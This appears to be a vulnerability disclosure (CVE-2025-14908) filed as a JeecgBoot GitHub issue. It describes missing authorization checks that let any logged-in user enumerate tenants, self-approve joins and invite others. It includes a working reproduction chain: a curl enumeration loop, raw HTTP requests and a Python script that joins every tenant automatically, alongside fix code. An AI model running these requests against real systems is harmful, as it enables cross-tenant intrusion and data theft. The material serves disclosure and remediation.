CVE-2025-14908 jeecgboot 跨租户注册
* 标题:jeecgboot 3.9.0 bfla
https://github.com/jeecgboot/JeecgBoot/issues/9196
44.8k
jeecg-boot 最新版本(master分支)
分支:
master
问题描述:
【严重安全漏洞】未授权访问+权限绕过导致任意用户可加入任意租户组织
漏洞概述
在多租户管理模块 SysTenantController 中存在严重的权限校验缺失和业务逻辑漏洞,攻击者可以通过以下步骤完全绕过租户隔离机制:
此攻击在单体应用jeecg-module-system中,只要是登录用户都可以实现攻击
- 信息泄露:任意登录用户可枚举查询所有租户的敏感信息(包括门牌号 houseNumber)
- 未授权加入:使用获取的门牌号申请加入任意租户
- 权限绕过:自己审批自己的加入申请,无需租户管理员同意
- 横向攻击:成为租户成员后,可邀请其他任意用户加入该租户
此漏洞完全破坏了多租户隔离安全模型,可导致数据泄露、越权访问、组织架构被篡改等严重后果。
漏洞位置
文件:SysTenantController.java
涉及接口:
GET /sys/tenant/queryById- 缺少权限校验,可枚举查询POST /sys/tenant/joinTenantByHouseNumber- 缺少限流和业务校验PUT /sys/tenant/agreeOrRefuseJoinTenant- 缺少审批人身份校验POST /sys/tenant/invitationUser- 缺少邀请人权限校验
漏洞原因分析
漏洞1:租户信息泄露 - queryById接口
// 缺少权限注解,任意用户可访问
@GetMapping("/queryById")
public Result<SysTenant> queryById(@RequestParam(name="id") String id) {
// 直接返回租户敏感信息,包括houseNumber
SysTenant sysTenant = sysTenantService.getById(id);
return Result.OK(sysTenant);
}
问题:
- ❌ 无权限控制,任意登录用户可访问
- ❌ tenantId 为 int(10),可通过遍历 1-9999999999 枚举所有租户
- ❌ 返回敏感信息
houseNumber(门牌号),这是加入租户的凭证
漏洞2:自审批漏洞 - agreeOrRefuseJoinTenant接口
@PutMapping("/agreeOrRefuseJoinTenant")
public Result<?> agreeOrRefuseJoinTenant(
@RequestParam(name = "tenantId") Integer tenantId,
@RequestParam(name = "status") String status) {
// 缺少校验:未验证操作者是否是租户管理员
// 申请人可以自己审批自己的申请!
}
问题:
- ❌ 未校验当前用户是否是该租户的管理员
- ❌ 申请人可以自己同意自己的加入申请
- ❌ 完全绕过了租户审批机制
漏洞3:无限制邀请 - invitationUser接口
@PostMapping("/invitationUser")
public Result<?> invitationUser(
@RequestParam(name = "phone") String phone,
@RequestParam(name = "departId") String departId) {
// 缺少校验:未验证当前用户是否有权限邀请
// 任意租户成员都可以邀请他人
}
问题:
- ❌ 未校验邀请人是否是租户管理员
- ❌ 可邀请任意手机号用户,无需对方同意
- ❌ 可指定任意部门ID,可能越权访问其他部门数据
完整攻击链复现
阶段1:信息收集 - 枚举租户信息
# 遍历租户ID,获取所有租户的门牌号
for id in {1..10000}; do
curl -X GET "http://server/sys/tenant/queryById?id=$id" \
-H "Authorization: Bearer <普通用户token>"
done
响应示例:
{
"success": true,
"code": 0,
"result": {
"id": 1000,
"name": "北京国笔信息技术有限公司",
"createBy": "jeecg",
"createTime": "2023-03-09 19:55:11",
"status": 1,
"houseNumber": "2PI3U6", // ⚠️ 门牌号泄露
"companyAddress": "...",
"companyLogo": "..."
}
}
阶段2:申请加入目标租户
POST /sys/tenant/joinTenantByHouseNumber HTTP/1.1
Host: server
Authorization: Bearer <攻击者token>
Content-Type: application/json
{
"houseNumber": "2PI3U6" // 使用阶段1获取的门牌号
}
响应:
{
"success": true,
"message": "申请加入组织成功",
"code": 0,
"result": 1000, // 返回租户ID
"timestamp": 1765443848853
}
阶段3:自己审批自己(核心漏洞)
PUT /sys/tenant/agreeOrRefuseJoinTenant?tenantId=1000&status=1 HTTP/1.1
Host: server
Authorization: Bearer <攻击者token> // ⚠️ 用自己的token审批自己
响应:
{
"success": true,
"message": "操作成功",
"code": 200
}
结果:攻击者成功加入租户,无需管理员审批!
阶段4:邀请其他用户(扩大影响)
POST /sys/tenant/invitationUser?phone=13800138000&departId=1 HTTP/1.1
Host: server
Authorization: Bearer <攻击者token>
结果:可将任意用户拉入该租户,批量添加可完全控制租户组织架构
阶段5:自动化批量攻击脚本
import requests
BASE_URL = "http://server"
ATTACKER_TOKEN = "eyJhbGciOiJIUzI1NiJ9..."
# 1. 枚举所有租户
def enum_tenants():
tenants = []
for tenant_id in range(1, 10000):
r = requests.get(f"{BASE_URL}/sys/tenant/queryById?id={tenant_id}",
headers={"Authorization": f"Bearer {ATTACKER_TOKEN}"})
if r.json().get("success"):
tenant = r.json()["result"]
tenants.append({"id": tenant["id"],
"houseNumber": tenant["houseNumber"],
"name": tenant["name"]})
return tenants
# 2. 批量加入所有租户
def join_all_tenants(tenants):
for tenant in tenants:
# 申请加入
r1 = requests.post(f"{BASE_URL}/sys/tenant/joinTenantByHouseNumber",
json={"houseNumber": tenant["houseNumber"]},
headers={"Authorization": f"Bearer {ATTACKER_TOKEN}"})
# 自己审批自己
r2 = requests.put(f"{BASE_URL}/sys/tenant/agreeOrRefuseJoinTenant",
params={"tenantId": tenant["id"], "status": "1"},
headers={"Authorization": f"Bearer {ATTACKER_TOKEN}"})
print(f"[+] 成功加入租户: {tenant['name']}")
# 3. 邀请僵尸用户
def invite_bots(tenant_id, phone_list):
for phone in phone_list:
requests.post(f"{BASE_URL}/sys/tenant/invitationUser",
params={"phone": phone, "departId": "1"},
headers={"Authorization": f"Bearer {ATTACKER_TOKEN}"})
# 执行攻击
tenants = enum_tenants()
join_all_tenants(tenants)
invite_bots(1000, ["13800138000", "13800138001", ...])
安全影响评估
直接危害
- 🔴 多租户隔离失效:攻击者可加入任意租户,访问其他组织的数据
- 🔴 数据泄露:可查看租户内部的客户、订单、财务等敏感数据
- 🔴 组织架构破坏:可邀请大量无关用户,污染组织架构
- 🔴 权限提升:成为租户成员后可能获得额外权限
业务影响
- ⚠️ 竞争对手可渗透进入企业内部系统
- ⚠️ 违反GDPR、等保等数据保护法规
- ⚠️ 导致客户信任危机和商业损失
- ⚠️ SaaS多租户商业模式完全失效
OWASP分类
- A01:2021 - Broken Access Control(访问控制失效)
- A04:2021 - Insecure Design(不安全设计)
修复方案
方案1:queryById 接口加强(必须)
@RequiresPermissions("system:tenant:query") // 仅管理员
@GetMapping("/queryById")
public Result<SysTenant> queryById(@RequestParam(name="id") String id) {
LoginUser currentUser = SecurityUtils.getSubject().getPrincipal();
SysTenant sysTenant = sysTenantService.getById(id);
// 校验:仅允许查询自己所属的租户
if (!currentUser.getRelTenantIds().contains(id)
&& !isSystemAdmin(currentUser)) {
return Result.error("无权限查询该租户信息");
}
// 敏感字段脱敏
sysTenant.setHouseNumber("******");
return Result.OK(sysTenant);
}
方案2:agreeOrRefuseJoinTenant 接口修复(核心)
@RequiresPermissions("system:tenant:approve")
@PutMapping("/agreeOrRefuseJoinTenant")
public Result<?> agreeOrRefuseJoinTenant(
@RequestParam(name = "tenantId") Integer tenantId,
@RequestParam(name = "status") String status) {
LoginUser currentUser = SecurityUtils.getSubject().getPrincipal();
// ✅ 关键校验:验证当前用户是否是该租户的管理员
if (!isTenantAdmin(currentUser, tenantId)) {
return Result.error("仅租户管理员可审批加入申请");
}
// ✅ 防止自审批:获取申请人信息
SysTenantUser application = getTenantApplication(tenantId, currentUser.getId());
if (application != null && application.getUserId().equals(currentUser.getId())) {
return Result.error("不能审批自己的加入申请");
}
// 执行审批逻辑
sysTenantService.agreeOrRefuse(tenantId, status);
return Result.OK("操作成功");
}
方案3:invitationUser 接口加固
@RequiresPermissions("system:tenant:invite")
@PostMapping("/invitationUser")
public Result<?> invitationUser(
@RequestParam(name = "phone") String phone,
@RequestParam(name = "departId") String departId) {
LoginUser currentUser = SecurityUtils.getSubject().getPrincipal();
// ✅ 校验邀请权限
if (!isTenantAdmin(currentUser, currentUser.getCurrentTenantId())) {
return Result.error("仅租户管理员可邀请用户");
}
// ✅ 校验部门归属
if (!isDepartBelongToTenant(departId, currentUser.getCurrentTenantId())) {
return Result.error("部门不属于当前租户");
}
// ✅ 添加邀请限流
if (!checkInvitationLimit(currentUser.getId())) {
return Result.error("邀请过于频繁,请稍后再试");
}
// 执行邀请逻辑
sysTenantService.inviteUser(phone, departId);
return Result.OK("邀请成功");
}
方案4:增加审计日志
// 记录所有租户操作
@Aspect
public class TenantOperationAudit {
@Around("execution(* SysTenantController.*(..))")
public Object audit(ProceedingJoinPoint pjp) {
// 记录:谁、何时、对哪个租户、做了什么操作
auditLog.info("User: {}, Action: {}, TenantId: {}, IP: {}",
username, action, tenantId, ip);
return pjp.proceed();
}
}
临时缓解措施(紧急修复前)
- 立即下线
queryById接口或添加IP白名单 - 在网关层添加租户操作的访问频率限制
- 人工审查最近的租户加入记录,排查异常
- 通知所有租户管理员检查成员列表
错误截图:
截图1:枚举租户信息成功
GET /sys/tenant/queryById?id=1000
响应: {"success":true, "result":{"houseNumber":"2PI3U6", ...}}
截图2:自己审批自己成功
PUT /sys/tenant/agreeOrRefuseJoinTenant?tenantId=1000&status=1
响应: {"success":true, "message":"操作成功"}
截图3:成功加入租户后可访问租户数据
GET /sys/user/list?tenantId=1000
响应: 返回该租户所有用户列表(数据泄露)
建议立即发布紧急安全补丁并通知所有用户升级。同时建议对整个租户管理模块进行全面安全审计。
感谢开发团队重视此问题!

浙公网安备 33010602011771号